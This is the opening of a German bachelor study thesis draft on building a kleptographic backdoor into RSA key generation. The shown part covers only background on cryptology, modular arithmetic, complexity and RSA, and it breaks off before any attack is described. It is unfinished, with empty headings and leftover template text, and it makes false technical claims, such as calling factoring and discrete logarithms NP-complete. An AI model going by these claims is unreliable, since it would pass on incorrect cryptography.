Proof of Concept für den Angriff eines IT-Systems durch Implementierung kleptographischer Schwachstellen in kryptographischen Bibliotheken

Studienarbeit

für die Prüfung zum

Bachelor of Science

des Studienganges Informatik / Informationstechnik

an der

Dualen Hochschule Baden-Württemberg Karlsruhe

von

Yannic Hemmer

Abgabedatum 16. Mai 2022

Bearbeitungszeitraum	24 Wochen
Matrikelnummer	6853472
Kurs	TINF19B2
Ausbildungsfirma	SySS GmbH Tübingen
Betreuer der Ausbildungsfirma	-
Gutachter der Studienakademie	Rolf Felder

Erklärung

Ich versichere hiermit, dass ich meine Studienarbeitmit dem Thema: »Proof of Concept für den Angriff eines IT-Systems durch Implementierung kleptographischer Schwachstellen in kryptographischen Bibliotheken« selbstständig verfasst und keine anderen als die angegebenen Quellen und Hilfsmittel benutzt habe. Ich versichere zudem, dass die eingereichte elektronische Fassung mit der gedruckten Fassung übereinstimmt. _____

_____

Ort Datum Unterschrift

Sofern vom Dualen Partner ein Sperrvermerk gewünscht wird, ist folgende Formulierung zu verwenden:

Sperrvermerk

Der Inhalt dieser Arbeit darf weder als Ganzes noch in Auszügen Personen außerhalb des Prüfungsprozesses und des Evaluationsverfahrens zugänglich gemacht werden, sofern keine anderslautende Genehmigung vom Dualen Partner vorliegt.

Zusammenfassung

Dieses LaTeX-Dokument kann als Vorlage für einen Praxis- oder Projektbericht, eine Studien- oder Bachelorarbeit dienen.

Zusammengestellt von Prof. Dr. Jürgen Vollmer <juergen.vollmer@dhbw-karlsruhe.de>
`https://www.karlsruhe.dhbw.de`. Die jeweils aktuellste Version dieses LaTeX-Paketes ist immer auf der *FAQ-Seite* des Studiengangs Informatik zu finden: `https://www.karlsruhe.dhbw.de/inf/studienverlauf-organisatorisches.html` → *Formulare und Vorlagen*.

Stand `$Date: 2020/03/13 15:07:45 $`

Inhaltsverzeichnis

Algorithmen-/ Formelverzeichnis

Abkürzungsverzeichnis

Kapitel 1

Einleitung

1.1 Problemfrage

Kryptographische Algorithmen bilden die Grundbausteine einer modernen, sicheren Kommunikation über öffentliche Netzwerke. Dabei garantieren sie Integrität, Vertraulichkeit und Authentizität. Folgend dem Kerckhoff Prinzip, nach welchem die Sicherheit eines kryptographischen Systems auf der Geheimhaltung der generierten Schlüssel beruht, kann die Sicherheit durch Kompromittierung der Schlüsselerstellung gebrochen werden. Kann eine RSA-Implementation bösartig verändert werden, dass ein Angreifer, die geheimen Parameter aller Schlüssel erfährt, jedoch ohne, dass dafür versteckte Kanäle genutzt werden und selbst wenn die Veränderungen bekannt werden, nur dem Angreifer in der Lage ist, die Schwachstelle auszunützen? Wie kann dies in moderner Open-Source Software realisiert werden und stellt dies eine Gefahr dar?

1.2 Ziel

Ziel der Arbeit ist die Entwicklung und Implementation einer kleptographischen Schwachstelle für RSA. Dabei soll die Korrektheit des Angriffes, die mathematischen Zusammenhänge und der Ablauf des Angriffs erläutert werden. Zusätzlich soll das Verfahren entsprechend optimiert werden, um das Risiko zeit-basierten Analysen zu vermeiden. Es soll gezeigt werden, dass durch die Integration des Angriffs in eine öffentliche Krypto-Bibliothek gezeigt werden, dass die Schlüssel alle Nutzer dieser Bibliothek von einem Angreifer gebrochen werden können. Das Risiko eines solchen Angriffs soll aufgezeigt und evaluiert werden.

Kapitel 2

Grundlagen

In diesem Kapitel werden die theoretischen Grundlagen der Kryptologie, Mathematik, Komplexitätstheorie und der IT-Sicherheit erläutert, die in dieser Arbeit eine Rolle spielen. Aus diesen sollen die grundlegenden Funktionen eines kleptographischen Angriffes und dessen Folgen abgeleitet werden.

2.1 Kryptologie

Die Kryptologie ist die wissenschaftliche Disziplin für den Schutz von Daten. Unter ihr stehen die zwei Felder der Kryptographie und der Kryptoanalyse.

2.1.1 Kryptographie

Die Kryptologie befasst sich mit der Entwicklung von Verfahren und Techniken für den sicheren Austausch von Daten. Dabei stehen zwei Eigenschaften im Fokus:

Eigenschaften

Geheimhaltung Durch Geheimhaltung sollen, bei der Übertragung von Daten zwischen Teilnehmern, Unbeteiligte keine Erkenntnisse über den Inhalt erlangen. Dies kann durch physikalische oder organisatorische Maßnahmen erreicht werden, wobei Unbeteiligten der Zugang zu den übertragenen Daten verwehrt wird. Diese Maßnahmen sind sinnvoll bei der Übergabe der Daten in einer nicht digitalen Welt. Bei der Kommunikation in digitalen Netzen, wie u.a. dem Internet, sind diese Maßnahmen nur schwer zu implementieren. Dies gilt nicht für kryptographische Maßnahmen. Dabei ist es nicht mehr das Ziel, Unbeteiligten den Zugang zu den übertragenen Daten zu erschweren, sondern den Inhalt der Daten während der Übertragung zu verschlüsseln. Dadurch soll es Unbeteiligten nahezu unmöglich sein, aus den mitgehörten oder abgefangenen Daten, Rückschlüsse auf deren Inhalt zu erlangen.[1]

Authentifikation Durch Authentifikation soll es den Teilnehmern einer Kommunikation möglich sein, die anderen Teilnehmer und empfangene Nachrichten zweifelsfrei identifizieren und zuweisen zu können. Hierbei spielen Signaturverfahren eine wichtige Rolle, da kein Geheimnis

[1] Beutelspacher, Schwenk und Wolfenstetter 2015, S. 1.

benötigt wird um einen Teilnehmer zu authentifizieren. Dabei können sich Teilnehmer durch das Wissen oder den Besitz eines Geheimnisses (Passwort, Zertifikat, Schlüssel) authentifizieren.[2]

Nur wenn beide Eigenschaften gegeben sind ist eine Übertragung von Daten als sicher anzusehen. Falls die Geheimhaltung fehlt, kann der Inhalt durch Sniffing mitgelesen werden. Falls die Authentifikation der Teilnehmer fehlt, können sich Unbeteiligte als ëchte"Teilnehmer ausgeben und somit die Daten an ihrem Endpunkt entschlüsseln.

Zusätzliche Eigenschaften

Perfect Forward Security Perfect Forward Security

Kryptographische Verfahren

Kryptographische Verfahren sind Algorithmen, welche die Genheimhaltung von Daten und die Authentifikation von Teilnehmers und Nachrichten sicherstellt. Dadurch kann man sie in Verschlüsselungsverfahren und Authentifikationsverfahren unterscheiden. Dabei können Verfahren, wie z.B. Rivest-Shamir-Adleman (RSA) beiden Aufgaben übernehmen.

Asymmetrische Verschlüsselung Bei asymmetrischen Verschlüsselungsverfahren wird statt dem gleichen Schlüssel für das Ver- und Entschlüsseln, zwei verschiedene Schlüssel verwendet. Dabei hat jeder Teilnehmer ein öffentlichen Schlüssel e und einen privaten und geheimen Schlüssel d. Hierbei ist es vorgesehen, dass möglichst alle potenziellen Teilnehmer den Schlüssel e kennen. Wenn eine Nachricht mit einem der beiden Schlüssel chiffriert wurde, kann nur mittels dem anderen Schlüssel dechiffriert werden. Somit können Nachrichten an einen Teilnehmer verschlüsselt versandt werden, indem diese mit dem öffentlichen Schlüssel e des Teilnehmers chiffriert wird. Nun kann nur der Teilnehmer mit dem zugehörigen privaten Schlüssel d, die Nachricht verschlüsseln. Zusätzlich kann auch die Authentifikation von Teilnehmer und die Authentizität von Nachrichten mit hoher Sicherheit festgestellt werden. Somit kann der Author einer Nachricht, einen Fingerabdruck dieser Nachricht mit seinem privaten Schlüssel d signieren, an die Nachricht anhängen und dann beide Teile verschlüsseln. Diese Signatur kann verifiziert werden, indem der Empfänger die Nachricht entschlüsselt und dann die Signatur verifiziert, indem er den öffentlichen Schlüssel des Authors e auf diesen anwendet. Danach vergleicht er den empfangenen Fingerabdruck mit einem eigens erstellten Fingerabdruck. Somit kann die Geheimhaltung, Authentizität und Integrität der Nachricht bestimmt werden.

Die zwei Schlüssel e und d eines Teilnehmers, werden auch als Schlüsselpaar bezeichnet. Ein solches verfahren, wird asymmetrisch genannt, da für das Ent- und Verschlüsseln zwei unterschiedliche Informationen vorliegen müssen. Diese Informationen sind auch nicht auseinander ableitbar, wie es z.B. bei multiplikativen Chiffren der Fall wäre. Die Funktionalität des Verfahrens, beruht auf der Annahme, dass alle Teilnehmer Zugang zu den öffentlichen Schlüssel jedes anderen Teilnehmers haben bzw. haben können. Durch diese Charakteristika werden solche Verfahren auch als Public-Key-Kryptographie bezeichnet.

Dabei wird stets die Annahme getroffen, dass der private Schlüssel eines Teilnehmers ausschließlich diesem vorliegt. Anderenfalls ist die Geheimhaltung und die Authentifikation beim Informationsaustausch von und mit diesem Teilnehmer nicht mehr gewährleistet. Somit wäre die Sicherheit kompromittiert.

Die Schlüssel eines Schlüsselpaar bilden somit Umkehrfunktionen zueinander.

[2] Beutelspacher, Schwenk und Wolfenstetter 2015, S. 2.

Hybride Verfahren Asymmetrische Verschlüsselungsverfahren haben häufig den Nachteil, dass die deutlich rechenaufwändiges sind, wie wir später bei RSA sehen werden. Es liegen zwar effiziente Verfahren vor, um z.B. die modularen Potenz aus zwei 300-stelligen Zahlen und einem Modulo zu bilden 2.2.7. Dennoch sind diese Verfahren mit mehr Aufwand verbunden, als z.B. symmetrische Blockchiffren wie Advanced Encryption Standard (AES).

Deshalb werden asymmetrische Verfahren für die Initialisierung der Kommunikation verwendet. In dieser Initialisierungsphase soll der Teilnehmer authentifiziert werden und ein gemeinsamer, geheimer, symmetrischer Schlüssel vereinbart werden.

In der darauffolgenden Kommunikationsphase werden die Nachrichten durch symmetrische Chiffren mittels des vereinbarten Schlüssels, effizient verschlüsselt und auf der Gegenseite entschlüsselt. Asymmetrisch Chiffren werden hier benutzt um Fingerabdrücke von Nachrichten zu signieren und zu verifizieren, wie oben 2.1.1 gezeigt. Zusätzlich werden durch asymmetrische Verfahren regelmäßig neue symmetrische Schlüssel vereinbart.

Solche hybriden Verfahren sind z.B. beim Browsen im Internet zu finden: $TLS\_ECDHE\_RSA\_WITH\_A$

2.1.2 Kryptoanalyse

Moderne kryptographische Verfahren, werden nach ihrer Sicherheit und ihrer Effizienz beurteilt. Dabei kann die Sicherheit eines Verfahrens auf mathematische Probleme gestützt werden, welche aktuell und in der nahen Zukunft nicht trivial lösbar sind.

Alle Angriffe auf kryptographische Verfahren, gelten dem Erlangen des Geheimtextes einer chiffrierten Nachricht oder dem Berechnen, des verwendeten Geheimnisses.

Bei Angriffen auf das Geheimnis werden hier lediglich computergestützte Angriffe betrachtet, also nur Angriffe, die durch den Einsatz von Rechnerressourcen und Algorithmen versuchen, den geheimen Schlüssel zu bestimmen. Es wird im Allgemeinen davon ausgegangen, das Nutzergeheimnisse, wie Passwörter, Zertifikate und private Schlüssel nicht öffentlich zugänglich sind. Brute-Force Angriffe sind beispielhaft für die Angriffe. Hierbei wird systematisch der Zahlenraum (bzw. Zeichenraum) aller möglicher Schlüsselkombinationen durchprobiert. Weiterentwicklungen dieses Angriffs versuchen auf Grundlage von statistischen Erkenntnissen den Zahlenraum des Geheimnisses einzugrenzen, wie z.B. Wörterbuchangriffe. Hierbei ist die Länge und die Zufälligkeit des Geheimnisses der entscheidende Faktor für einen effektiven Schutz vor Angriffen.

Um die Sicherheit von kryptographischen Verfahren beurteilen zu können, werden erfolgreiche Angriffe auf diese Verfahren, nach den hierfür notwendigen Voraussetzungen, unterteilt.[3]

Known Cipher Attack Hierbei benötigt der Angreifer beliebige Menge an verschlüsselten Text, um aus diesem den Schlüssel und somit den Geheimtext ableiten zu können.

Known Plaintext Attack Bei diesen Angriffen, kennt der Angreifer eine echte Teilmenge der verschlüsselten Textes und den dazugehörigen Geheimtext. Diese Angriffe sind erfolgreich, wenn sich aus einer echten Teilmenge des Klartextes und dem dazugehörigen Geheimtext, der verwendete Schlüssel berechnen lässt.

Chosen Plaintext Attack Bei Chosen Plaintext Attack kann der Angreifer das Chiffrat zu einem von ihm gewählten Klartext berechnen. Dies ist ein klassischer Fall bei Public-Key-Kryptographie 2.1.1, da hier der Algorithmus (Prinzip von Kerckhoff) und die Schlüssel öffentlich

[3] Beutelspacher 2015, S. 20.

sind. Somit kann sich eine Angreifer zu jedem beliebigen Klartext das entsprechende Chiffrat berechnen. Angriffe haben diese Eigenschaft, wenn sich dadurch das Geheimnis (bei Public-Key-Kryptographie der private Schlüssel) berechnen lässt.

Zusätzlich ist noch eine weitere Kategorie verwendbar:

Chosen Chipher Attack Hierbei kann der Angreifer jeglichen Geheimtext entschlüsseln. Zusätzlich liegen ihm eine beliebige Menge an abgefangenen Geheimtexten zur Verfügung. Dabei ist die natürlich die Vertraulichkeit bereits versandter Nachrichten kompromittiert. Jedoch ist hierbei das Ziel des Angriffs, das verwendete Geheimnis zu berechnen.

Nur wenn für kryptographische Verfahren keiner der aufgeführten Stufen an Voraussetzungen ausreicht, um das verwendete Geheimnis zu berechnen sind diese als sicher zu betrachten. In dieser Arbeit wird mit kryptographischen Verfahren gearbeitet, die als sicher betrachtet werden können.

2.1.3 Prinzipien

In der Kryptologie gelten verschiedene Prinzipien. Diese sind zwar in der theoretischen Betrachtung nicht notwendig, haben aber in der realen Welt eine große Bedeutung.

Prefect Forward Security

Perfect Forward Secrecy (PFS) ist ein Prinzip für kryptographische Verfahren, dass durch zukünftige Veröffentlichung des Geheimnisses, die Vertraulichkeit von in der Vergangenheit versandten Nachrichten nicht gefährdet ist. Dies wird garantiert dadurch, dass langlebige Geheimnisse (bzgl. der Speicherung und Nutzung) zusammen mit temporären Geheimnissen zur Verschlüsselung genutzt werden. Somit kann ein Angreifer, der alte Geheimtexte gesammelt hat und im Besitz des langlebigen Geheimnisses ist, die gespeicherten Geheimtexte nicht entschlüssel. Dies kann auch z.B. durch rotierende Geheimnisse, wie Sitzungsschlüssel erreicht werden.

Prinzip von Kerckhoff

Das Prinzip von Kerckhoff besagt, dass die Sicherheit eines kryptographischen Verfahrens nicht auf der Geheimhaltung des Algorithmus beruhen darf. Dabei soll die Sicherheit alleinig auf dem verwendeten Geheimnisses und seiner Geheimhaltung beruhen. Natürlich sind Verfahren denkbar, die gegen Kerckhoff's Prinzip verstoßen denkbar, aber auf Grundlage der geschichtlicher Erkenntnisse zu vermeiden.[4]

2.2 Mathematik

2.2.1 Primzahlen

Primzahlen werden in mehreren asymmetrischen Verfahren genutzt. Im Rahen dieser Arbeit wird die Menge aller Primzahlen als $\mathbb{P}$. definiert. Wenn eine Zahl prim ist, ist diese Element von $\mathbb{P}$.

[4] Beutelspacher 2015, S. 19.

2.2.2 Konkatenation

Im Rahmen der Arbeit wird die Konkatenation von zwei Zahlen durch || repräsentiert. Dabei werden die Zahlen in binärer Form (zur Basis 2) konkateniert, wobei beide Zahlen auf ihre maximale binäre Länge mit 0 ergänzt werden.

$$(a||b) = 010001 \mid a = 10, b = 1, \overline{a}, \overline{b} = 3 \tag{2.1}$$

2.2.3 Binäre Länge

Im Rahmen der Arbeit wird die maximale Länge einer Zahl in Bits durch einen Überstrich $\overline{x}$ dargestellt. Für eine Zahl x mit maximal $n/2$-Bits Länge würde dann gelten $\overline{x} = n/2$.

Mathematische Probleme stellen die Grundlage für moderne Kryptographie.

2.2.4 Diskreter Logarithmus

Bei der Bestimmung des Logarithmus wird der Exponent (hier: x) gesucht, welcher mit einer bekannten Zahl als Basis z, eine weitere bekannte Zahl y ergibt.

$$z^x = y \tag{2.2}$$

Der diskrete Logarithmus bezieht hier auf die Berechnung des Logarithmus in ein Gruppe. Diese Gruppe bildet sich aus der Rechnung mit Restklassen (modulo). Dadurch entsteht folgendes Problem, bei der die Variable x gesucht wird und alle anderen Variablen bekannt sind.

$$z^x \pmod{n} \equiv y \tag{2.3}$$

Hierbei ist in der Notation zu beachten, dass sich durch das Rechnen auf mit einer Gruppe, Äquivalenzklassen ($\equiv$) bilden. Diese entsprechen den Restklassen des Rechnen mit Modulo. n ist die Mächtigkeit der Aquivalenzklassen.

Die Bestimmung von x in 2.3 wird als Problem des diskreten Logarithmus bezeichnet. Mit der Komplexität wird sich in den Grundlagen der Komplexitätstheorie beschäftigt.

Dabei ist die Umkehrfunktion, des diskreten Logarithmus $f(x)$ 2.3, mathematisch einfach zu berechnen. Diese Umkehrfunktion entspricht der diskreten Exponentialfunktion:

$$f^{-1}(x) = z^x \pmod{n} \equiv y \tag{2.4}$$

Hierbei sind z, x, n gegeben und y gesucht.

2.2.5 Faktorisierung

Bei der Faktorisierung wird versucht eine Zahl in Faktoren zu zerlegen. Dabei handelt es sich, im Kontext der Kryptographie, meist um die Faktorisierung des Produkts zweier großer Primzahlen. Dadurch bildet sich folgende Formel, wobei p und q Primzahlen sind (also Element der Menge der Primzahlen $\mathbb{P}$) und n das resultierende Produkt:

$$n = p * q \mid p, q \in \mathbb{P} \tag{2.5}$$

Da n das Produkt zweier Primzahlen ist, sind seine einzigen Teiler: n selbst, 1 und die seine Primfaktoren p und q. Deshalb handelt es sich hierbei auch um eine Primfaktorzerlegung von n.

Dabei ist die Primfaktorzerlegung von n ein rechenaufwändiges Problem, falls p udn q große Zahlen sind. Im Gegensatz dazu ist die Berechnung von bzw. die Validierung mit n sehr einfach, da hierfür nur die Multiplikation von p und q notwendig ist. Somit liegt die gleiche Situation, wie beim Problem des diskreten Logarithmus 2.2.4 vor: Ein rechenaufwändiges Problem, dessen Umkehrfunktion sehr einfach ist[5].

2.2.6 Berechnung des diskreten Logarithmus

Zur Berechnung des diskreten Logarithmus kann der Baby-Step / Giant-Step-Algorithmus verwendet werden. Dabei handelt es sich um ein Algorithmus, welcher das Problem des diskreten Logarithmus durch Kollisionssuche löst. Dafür wird ein "Time-Memory Tradeoffëingegangen. Hierbei wird der Zeitaufwand zum Lösen eines Problems reduziert indem mehr Speicherplatz verwendet wird. Dabei befinden sich alle Operationen innerhalb einer zyklischen Gruppe der Ordnung n.

Das vorliegende Problem:

$$a^x = b \tag{2.6}$$

Zunächst wird x mit $i \cdot m + j$ substituiert. Dabei ist $m = \lceil \sqrt{n} \rceil$ und $0 \leq i, j < m$. Danach wird 2.7 umgeformt zu:

$$a^j = b \cdot (a^{-m})^i \tag{2.7}$$

Im Baby-Step-Algorithmus werden alle Werte für a^j berechnet ($0 \leq j < m$). Diese Werte werden so gespeichert, dass in $\mathcal{O}(1)$ geprüft werden kann, ob ein Wert schon berechnet wurde.

Im Giant-Step-Algorithmus zunächst der konstante Wert für a^{-m} berechnet wird. Danach wird für alle $\forall i : 0 \leq j < m \; b \cdot (a^{-m})^i$ berechnet. Diese Ergebnisse werden gegen die Ergebnisse von den Baby-Step-Algorithmus verglichen. Falls es zu einer Kollision kommt wird x mit $i \cdot m + j$ resubstituiert und somit der diskrete Logarithmus berechnet. Die Zeitkomplexität ist $\mathcal{O}(\sqrt{n})$ während die Speicherkomplexität $\Omega(n)$ ist.[6]

Alternativ zum Baby-Step-Giant-Algorithmus kann der diskrete Logarithmus auch mit dem Pohlig-Hellman-Algorithmus berechnet werden. Dieser weißt die Zeitkomplexität von $\mathcal{O}(n \log n + n\sqrt{p})$ und die Speicherkomplexität von $\mathcal{O}(\sqrt{p})$ auf.[7]

2.2.7 Effiziente Berechnung der diskreten Exponentialfunktion

In der Kryptographie werden große Zahlen genutzt, um die Sicherheit der verwendeten Algorithmen zu gewährleisten. Hierfür wird als Beispiel angenommen, dass als Basis z eine 256-bit Lange Zahl hoch einem 300-bit langem Exponenten x genommen werden soll. Hierbei ist n 1024-bit lang.

Wenn man nun z in Byte berechnet wäre dies eine 32 Byte lange Zahl.

x entspricht einer ungefähr 90. stelligen Zahl.

$$z^{10^{90}} \pmod{n} \equiv y \tag{2.8}$$

Eine numerische Berechnung von $z^{10^{90}}$ ist aufgrund von begrenzten Ressourcen nicht möglich.

Jedoch kann man sich die diskrete Eigenschaft dieser Problems sich zu nutzte machen. Hierfür können Verfahren, wie Square-and-Multiply zusammen mit der Restklassenberechnung genutzt

[5] Beutelspacher, Schwenk und Wolfenstetter 2015, S. 179.
[6] MIT 2015, S. 1.
[7] MIT 2015, S. 4.

werden. Dadurch lassen sich auch großzahlige Exponenten berechnen. Hierfür soll ein einfaches Beispiel gegeben werden:

$$37^{52} \pmod{128} \equiv y \tag{2.9}$$

Bei Betrachtung der Äquivalenzgleichung fällt auf, dass 37^{52} eine große Zahl ergibt. Jedoch wird diese Zahl noch $x \pmod 1)28$ gerechnet. Dadurch liegt das Ergebnis in einem Zahlenraum von:

$$y \in \mathbb{N} \mid 0 \leq y < 128 \tag{2.10}$$

Auf Grundlage der Potenzgesetze wird 37^{52} nun zerlegt.

$$\begin{aligned} 52 &= 32 + 16 + 4 = 2^5 + 2^4 + 2^2 \\ 37^{52} \pmod{128} &\equiv 37^{(2^5)} * 37^{(2^4)} * 37^{(2^2)} \\ \equiv 37^{(2^5)} \pmod{128} &* 37^{(2^4)} \pmod{128} * 37^{(2^2)} \pmod{128} \end{aligned} \tag{2.11}$$

Die einzelnen Bestandteile werden dann iterativ berechnet und durch Multiplikation zusammengefasst (siehe 2.11). Dies wird als Square-and-Multiply-Verfahren bezeichnet.

$$\begin{aligned} 37^{2^2} \pmod{128} &\equiv (37^{(2^1)} \pmod{128})^2 \\ 37^{2^3} \pmod{128} &\equiv (37^{(2^2)} \pmod{128})^2 \\ 37^{2^4} \pmod{128} &\equiv (37^{(2^3)} \pmod{128})^2 \\ 37^{2^5} \pmod{128} &\equiv (37^{(2^4)} \pmod{128})^2 \end{aligned} \tag{2.12}$$

Allgemein

Gegeben mit gesucht y:

$$z^x \pmod{n} \equiv y \tag{2.13}$$

Zerlegung von x eine Summe von Zweierpotenzen:

$$x = 2^0 + 2^1 + 2^2 + ... \tag{2.14}$$

Dabei bilden die binären Logarithmen der einzelnen Zweierpotenzen die Menge $\mathbb{K}$.

Berechnung der einzelnen Faktoren durch iteratives Square-and-Multiply-Verfahren. Dies wird bis $f(max(\mathbb{K}))$ berechnet. $max(\mathbb{K})$ steht hier für das Element von $\mathbb{K}$, mit dem größten Wert.

$$f(i+1) = f(i)^2 \pmod{n} \mid f(1) = z^1 \pmod{n} \tag{2.15}$$

Zuletzt wird das Produkt, aller Ergebnisse von $f(x)$ für die Elemente der Menge $\mathbb{K}$, gebildet. Dabei gilt:

$$\prod_{k \in \mathbb{K}} f(k) \equiv z^x \pmod{n} \equiv y \tag{2.16}$$

2.3 Komplexitätstheorie

Die Komplexitätstheorie befasst sich mit der Komplexität von Problemen, welche durch Algorithmen gelöst werden. Dabei wird der Speicherbedarf und der Zeitaufwand eines Algorithmus betrachtet. Schrankenfunktionen werden gebildet durch die Betrachtung des Speicherbedarf und des Zeitaufwands im Bezug auf die Länge der Eingabeparameter. Da hier eine reine kryptographische Betrachtung der Schrankenfunktionen stattfinden soll, wird hier nur in zwei verallgemeinerte Schrankenfunktionen[8] unterschieden:

- Polynomiale Komplexität
- Nicht-deterministisch-polynomiale Komplexität

Polynomiale Komplexität umfasst hier alle Probleme, die algorithmisch mit polynomialem Aufwand (Zeit/Speicher) gelöst werden können. D.h. bei steigender Eingabelänge n steigt der Aufwand im schlimmsten Fall mit $\mathcal{O}(n^c$, wobei c konstant ist. Diese Probleme gehören damit zur Komplexitätsklasse **P**. Diese umfasst alle Probleme, welche algorithmisch mit maximal polynomialem Aufwand gelöst werden können. Diese Probleme können meistens von modernen Computern gelöst werden.

Nicht-deterministisch-polynomiale Komplexität hingegen umfasst alle Probleme, die deterministisch mehr als polynomialen Aufwand im Worst-Case brauchen. Dies können Probleme sein, die algorithmisch nur mit exponentiellen $\Omega(d^n \mid d > 1)$ oder faktoriellen $\mathcal{O}(n!)$ Aufwand[9] gelöst werden können. Diese Probleme werden der Komplexitätsklasse $\mathcal{NP}$ zugewiesen. Dies sind Probleme können nicht von deterministischen Computern in Polynomialzeit gelöst werden.

Bezug zur Kryptographie Dadurch sind mathematische Probleme in $\mathcal{NP}$ für die Kryptographie besonders interessant, da man die Sicherheit eines Systems auf ein NP-vollständiges Problem stützen kann. Somit ist die theoretische Sicherheit des Systems nicht mit vertretbaren Aufwand brechbar. Jedoch sollte darauf geachtet werden, dass die vorgesehenen Teilnehmer an einem Datenaustausch nicht auch das NP-vollständige Problem lösen müssen. Ihr Aufwand soll so gering wie möglich gehalten werden, wobei der Aufwand für einen Angreifer exponentiell oder faktoriell zur Sicherheit des Systems (z.B. die Länge des Schlüssels) ist.

Beispiele für solche Probleme sind der diskrete Logarithmus 2.2.4 und die Faktorisierung 2.2.5 eines Produkt von Primzahlen[10]. Weitere Beispiele wäre die Berechnung des Subgraph-Isomorphismus zweier Graphen, das Berechnen von Modularen Quadratwurzeln oder die Multiplikation auf elliptischen Kurven.

[8] Beutelspacher, Schwenk und Wolfenstetter 2015, S. 178.
[9] FX. und JJ. 2011.
[10] Beutelspacher, Schwenk und Wolfenstetter 2015, S. 179.

Kapitel 3

RSA

RSA ist ein kryptographisches Verfahren, welches zu den Public-Key-Verfahren gehört. Der Verfahren wurde von R. Rivest, A. Shamir und L. Adleman entwickelt und trägt deshalb ein Anagram der Erfinder als Namen.

3.1 Ablauf

Ausgangszenario Teilnehmer A will über ein öffentliches Netz sicher mit anderen Teilnehmer kommunizieren.

Schlüsselgeneration Damit andere Teilnehmer geheime Nachrichten schicken können muss A sich ein Schlüsselpaar generieren. Dafür wählt er zwei zufällige und große Primzahlen: P und Q.

Das Produkt von P und Q bildet N, welche den Modulo / den Zahlenraum für weitere mathematische Operationen festlegt:

$$N = P \cdot Q \tag{3.1}$$

Daraufhin berechnet der Teilnehmer die Eulersche ϕ-Funktion von P und Q:

$$\phi(N) = (P-1) \cdot (Q-1) \tag{3.2}$$

)

Der öffentliche Schlüssel E ist dann eine zu $\phi(N)$ teilerfremde Zahl. Man kann dies auch vereinfachen und eine Fermat'sche Primzahl für E verwenden:

$$2^{2^N} + 1 \mid N \in \{0, 1, 2, 3, 4\} \tag{3.3}$$

Der größte gemeinsame Teiler von E und $\phi(n)$ ergibt 1, wobei sich der private Schlüssel D aus der Vielfachsummendarstellung ergibt. Die Vielfachsummendarstellung wird dem euklidischen Algorithmus entnommen. Dabei gilt:

$$c \cdot \phi(N) + E \cdot D \equiv 1 \tag{3.4}$$

Danach besitzt der Teilnehmer A ein öffentlichen Schlüssel E und einen privaten Schlüssel D. Er kann nun den öffentlichen Schlüssel E zusammen mit N veröffentlichen. E zusammen mit N und D sind ein Schlüsselpaar welches in einen öffentlichen Teil und ein privaten Teil geteilt wird. Dabei herrscht eine eindeutige Zuordnung zwischen den Teilen.

3.1.1 Verschlüsselung

Wenn Teilnehmer B eine verschlüsselte Nachricht M an Teilnehmer A senden will, braucht er hierfür den öffentlichen Schlüssel von A. M muss aber dabei kleiner als N sein. Dabei B verschlüsselt wie folgt, wobei C der resultierende Geheimtext ist.

$$M^{E_A} \pmod N = C \tag{3.5}$$

Wenn Teilnehmer A den Geheimtext C von B erhält, entschlüsselt er diesen mit seinem privaten Schlüssel. Dadurch berechnet er die von Teilnehmer B verschlüsselte Nachricht M.

$$C^{D_A} \pmod N = M \tag{3.6}$$

Da D privat und eindeutig für den öffentlichen Teil des Schlüsselpaars ist, können nur Teilnehmer, die über D verfügen, Nachrichten entschlüsseln, die mit dem zugehörigen öffentlichen Teil verschlüsselt wurden.

3.1.2 Signatur

Das RSA-Verfahren ermöglicht auch das Signieren von Nachrichten. Dies wird z.B. im Internet genutzt um Teilnehmer zu authentifizieren und Nachrichtenintegrität zu sichern. RSA wird jedoch meist nur auf kleinere Nachrichten wie Fingerabdrücke angewandt.

Signatur S einer Nachricht M von Teilnehmer A:

$$M^{D_A} \pmod N = S \tag{3.7}$$

Zum Überprüfen der Echtheit braucht der Teilnehmer B den öffentlichen Schlüssel von A:

$$S^{E_A} \pmod N = M \tag{3.8}$$

Eine Signatur kann eindeutig Teilnehmer A zugeordnet werden, da nur ein Teilnehmer im Besitz von d_A eine Signatur einer Nachricht erstellen kann, die mit dem öffentlichen Teil des Schlüsselpaars von A überprüft werden kann.

3.2 Annahmen

Das Ergebnis einer RSA-Verschlüsselung wird als Zufallszahl betrachtet. Grundlage hierfür ist, dass RSA mit sicheren Schlüsseln und Implementation, einer Einweg-Funktion gleicht, wenn der private Schlüssel nicht bekannt ist. Das Ergebnis einer RSA-Verschlüsselung ist folgendermaßen die Generierung einer Zufallszahl C:

$$C \in [1, N) \tag{3.9}$$

Diese Annahme ist für die mathematische Betrachtung von möglichen Grenzfälle später relevant. Im kryptographischen Kontext, kann natürlich die Einwegfunktion mit Kenntnis des privaten Schlüssels effizient umgekehrt werden.

3.3 Sicherheit

Die Sicherheit des RSA-Verfahrens basiert auf zwei mathematischen Problemen, welche unter Aufwand endlicher Ressourcen, nicht gelöst werden können. Hierbei wird sich sowohl auf RSA-gestützte Verschlüsselungs- und Signaturverfahren bezogen. Diese zwei Probleme sind:

- Faktorisierung einer bekannten Zahl, welche das Produkt zweier großer Primzahlen ist. Im Kontext von RSA ist diese Zahl mit N repräsentiert.
- Bestimmung des diskreten Logarithmus. Bei RSA wäre dies die Bestimmung von

$$D \mid M^D \equiv C \pmod{N}. \tag{3.10}$$

Für die Sicherheit der Public-Key-Verschlüsselung von RSA, spielt nicht effiziente Berechenbarkeit der Faktorisierung die Hauptrolle. Falls mit RSA signiert werden soll, ist zusätzlich die Unberechenbarkeit des diskreten Logarithmus wichtig. Ansonsten könnte der private Schlüssel bestimmt werden.

Angriffe auf RSA

Kapitel 4

Kleptographie

4.1 Definition

Klepotgraphie ist ein von Adam Young and Moti Yung geprägter Begriff für das wissenschaftliche Feld der Extraktion von geschützten Informationen. Im Bezug auf kryptographische Systeme sind kleptographische Angriffe die geheime Extraktion vor geheimen Schlüsseln.

4.2 Angriffskategorie

